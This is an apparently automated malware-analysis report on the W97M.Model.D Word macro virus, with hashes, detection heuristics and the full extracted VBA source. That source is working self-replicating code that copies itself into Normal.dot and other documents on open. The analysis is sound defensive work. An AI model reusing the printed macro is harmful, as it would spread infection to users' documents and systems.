W97M.Model.D — Office (OLE) malware analysis

Static analysis result for SHA-256 daafbf84215ffa0c…

MALICIOUS

Office (OLE)

27.5 KB Created: 2000-07-25 04:49:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-24
MD5: 6bbf2f7a4befcd7ac7b3ff5bbe3e9d30 SHA-1: 59081e82fb163364fecbce7c4bce203b89d7eff4 SHA-256: daafbf84215ffa0c85fe5a1486b5f3113d465664c001bc29b7eed2ea7503fcad
228 Risk Score

Malware Insights

W97M.Model.D · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1553.004 Mark-of-the-Web Bypass

The sample contains VBA macros that exhibit self-replication behavior, aiming to infect the Normal.dot template and any newly created documents. The embedded document body explicitly states 'I am infected with W97M.Model.D', confirming the family. The AutoOpen macro is designed to copy its malicious code to other documents and the Normal.dot template.

Heuristics 5

  • ClamAV: Doc.Trojan.Model-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Model-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Code", Object:=wdOrganizerObjectProjectItems
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1440 bytes
SHA-256: d4535dfa45697263602be5a7e0e4abf59548fd8064d8c95605d2e75f9f98beea
Detection
ClamAV: Doc.Trojan.Model-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Code"
Sub AutoNew()
    If Not ActiveDocument = ThisDocument Then
        CopyVirCodeToDocument ActiveDocument    'Infetta il nuovo documento
    End If
End Sub
Sub AutoOpen()
    RemoveProtection
    If Not ActiveDocument = NormalTemplate Then 'Infetta Normal.dot
        CopyVirCodeToModel
    End If
    If Not ActiveDocument = ThisDocument Then   'Infetta il documento aperto
        CopyVirCodeToDocument ActiveDocument
    End If
End Sub
Sub CopyVirCodeToModel()
On Local Error Resume Next
    With ActiveDocument
        .UpdateStylesOnOpen = False
        .AttachedTemplate = "Normal.dot"
    End With
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Code", Object:=wdOrganizerObjectProjectItems
    NormalTemplate.Save
End Sub
Sub CopyVirCodeToDocument(Target As Document)
    On Local Error Resume Next
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=Target.FullName, Name:="Code", Object:=wdOrganizerObjectProjectItems
End Sub
Sub RemoveProtection()
    'Disattiva il messaggio di avviso iniziale
    Options.VirusProtection = True
End Sub

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